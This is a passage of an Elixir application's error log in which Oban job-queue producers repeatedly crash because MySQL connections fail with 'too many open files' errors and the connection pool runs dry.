#Reference<0.2525715032.1077411843.214466>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:38.159000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:39.337000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:42.843000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:43.807000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:44.868000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:45:34.244253Z], limit: 50, uuid: "6ede98bc-0046-401a-baaa-2cd89379d68f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:34.244258Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.214706>, refresh_timer: #Reference<0.2525715032.1077411843.214687>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:45:34.242134Z], limit: 20, uuid: "751a43c7-3d6a-4e32-9e57-66a5ec195a30", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:34.242140Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.214707>, refresh_timer: #Reference<0.2525715032.1121189889.90778>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:45:34.242003Z], limit: 10, uuid: "2016a180-a81b-45ef-b27a-5cb3feb7ef58", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:34.242009Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.214708>, refresh_timer: #Reference<0.2525715032.1121189889.90777>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:45:34.241964Z], limit: 5, uuid: "5381be4b-233f-41c5-b965-adb9b68c3216", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:34.241971Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.214705>, refresh_timer: #Reference<0.2525715032.1077411843.214659>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:45:34.242235Z], limit: 5, uuid: "402fe3ea-2245-4325-9241-d1de6ed7eb6e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:34.242240Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.214709>, refresh_timer: #Reference<0.2525715032.1121189889.90780>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:45:34.242470Z], limit: 3, uuid: "9cfb8fde-094a-4a61-b1cf-90cdafb437dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:34.242476Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.243193>, refresh_timer: #Reference<0.2525715032.1099169794.243186>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:47.911000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:49.848000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:51.164000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:52.023000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:52.199000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:45:47.239679Z], limit: 50, uuid: "1aa1c7a2-fc46-401a-b55d-f123c8253e6e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:47.239684Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.215114>, refresh_timer: #Reference<0.2525715032.1121189889.90947>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:45:47.240182Z], limit: 3, uuid: "3e1d85e8-b732-4975-92cd-db31139d1449", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:47.240187Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.215111>, refresh_timer: #Reference<0.2525715032.1077411843.215079>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
